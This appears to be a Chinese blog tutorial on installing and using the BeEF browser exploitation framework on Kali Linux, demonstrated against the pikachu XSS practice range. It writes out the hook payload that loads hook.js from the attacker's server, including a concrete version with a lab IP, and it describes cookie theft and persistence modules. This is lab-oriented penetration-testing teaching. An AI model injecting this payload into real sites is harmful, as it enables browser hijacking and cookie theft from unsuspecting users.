前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xss-工具-Beef-Xss安装以及使用

xss-工具-Beef-Xss安装以及使用

作者头像
用户9006224
发布2022-12-21 10:34:58
2.3K0
发布2022-12-21 10:34:58
举报
文章被收录于专栏:cjz的专栏cjz的专栏

Beef-Xss工具的简介

KaliLinux官网对这工具的介绍地址:https://www.kali.org/tools/beef-xss/ GitHub地址:https://github.com/beefproject/beef Beef-Xss工具Wiki:https://github.com/beefproject/beef/wiki

在这里插入图片描述
在这里插入图片描述

BeEF 是浏览器开发框架的缩写,它是一款专注于网络浏览器的渗透测试工具 随着人们越来越担心针对客户端(包括移动客户端)的网络攻击,BeEF 允许专业的渗透测试人员通过使用客户端攻击向量来评估目标环境的实际安全状况,与其他安全框架不同,BeEF 超越了加固的网络边界和客户端系统,并在一扇敞开的门的上下文中检查可利用性:Web 浏览器 BeEF 将挂钩一个或多个 Web 浏览器,并将它们用作启动定向命令模块的滩头阵地,并从浏览器上下文中进一步攻击系统

安装Beef-Xss工具

这个工具最新的KaliLinux版本这个工具默认是不安装的,之前老版本的是自带的不管这么

代码语言:javascript
复制
apt-get install beef-xss

代码语言:javascript
复制
sudo apt-get install beef-xss

一路 y 就好,然后等待 如果出现下图,解决方法换地址源或者 apt update 重启之后在执行安装命令

在这里插入图片描述
在这里插入图片描述

启动Beef-Xss工具

代码语言:javascript
复制
beef-xss

第一次启动可能会提示这个,让你输入一个新的密码,输入回车即可(不会显示你输入的密码)下一次就不会让你输入了

在这里插入图片描述
在这里插入图片描述

它会自动打开浏览器 beef 控制台(账号默认:beef 密码(你第一次进入beef输入的))

在这里插入图片描述
在这里插入图片描述

关闭Beef-Xss

代码语言:javascript
复制
beef-xss-stop
在这里插入图片描述
在这里插入图片描述

Beef-Xss登录账户密码忘记解决方案:

安装之后在 /usr/share/beef-xss 目录下有一个 config.yaml 文件里面记录了密码账号:

在这里插入图片描述
在这里插入图片描述

用 vim 或者其它方式打开config.yaml 文件中 credentials: 下的 user是账号、passwd是密码,直接修改保存即可

在这里插入图片描述
在这里插入图片描述

启动Beef-Xss之后控制台会有一下信息

在这里插入图片描述
在这里插入图片描述

beef的xss代码格式:

代码语言:javascript
复制
<script src="http://<IP>:3000/hook.js"></script>

例子:比如我的KaliLinux的ip地址:192.168.56.129

代码语言:javascript
复制
<script src="http://192.168.56.129:3000/hook.js"></script>

beef控制台地址

http://127.0.0.1:3000/ui/panel 或者我的KaliLinux的ip地址:192.168.56.129 在宿主机浏览器输入:http://192.168.56.129:3000/ui/panel 都可以

Beef-Xss使用

在这里插入图片描述
在这里插入图片描述

我用pikachu靶场xss的存储型演示:

在这里插入图片描述
在这里插入图片描述

上面已经看到成功了,有时不一定怎么快展示等一会刷新一下

在这里插入图片描述
在这里插入图片描述

获取这些之后,具体可以实现上面功能在 commands 中查看

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

commands 模块中大概都是什么意思

我这里用就直接用谷歌翻译了

在这里插入图片描述
在这里插入图片描述

点击任意一个都有说明的比如播放声音模块

在这里插入图片描述
在这里插入图片描述

Browser(浏览器模块)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Chrome Extensions (Chrome 扩展)

在这里插入图片描述
在这里插入图片描述

Debug (调试)

在这里插入图片描述
在这里插入图片描述

Exploits(漏洞利用)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Host(主持人)

在这里插入图片描述
在这里插入图片描述

IPEC(国际环保提倡)

利用通信 (IPEC)进行的操作

在这里插入图片描述
在这里插入图片描述

Metasploit

在这里插入图片描述
在这里插入图片描述

Misc(杂项)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Network(网络)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Persistence(坚持)

在这里插入图片描述
在这里插入图片描述

Phonegap(电话间隙)

在这里插入图片描述
在这里插入图片描述

Social Engineering(社会工程)

在这里插入图片描述
在这里插入图片描述

简单的使用一个播放声音

是有一个 biu的一个声音

在这里插入图片描述
在这里插入图片描述

检测是否有 VLC

在这里插入图片描述
在这里插入图片描述

获取cookie

在这里插入图片描述
在这里插入图片描述

还有很多功能的这里就不一一演示了

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Beef-Xss工具的简介
  • 安装Beef-Xss工具
  • 启动Beef-Xss工具
  • 关闭Beef-Xss
  • Beef-Xss登录账户密码忘记解决方案:
  • 启动Beef-Xss之后控制台会有一下信息
  • beef的xss代码格式:
  • beef控制台地址
  • Beef-Xss使用
  • commands 模块中大概都是什么意思
    • Browser(浏览器模块)
      • Chrome Extensions (Chrome 扩展)
        • Debug (调试)
          • Exploits(漏洞利用)
            • Host(主持人)
              • IPEC(国际环保提倡)
                • Metasploit
                  • Misc(杂项)
                    • Network(网络)
                      • Persistence(坚持)
                        • Phonegap(电话间隙)
                          • Social Engineering(社会工程)
                            • 简单的使用一个播放声音
                              • 检测是否有 VLC
                                • 获取cookie
                                • 还有很多功能的这里就不一一演示了
                                相关产品与服务
                                访问管理
                                访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档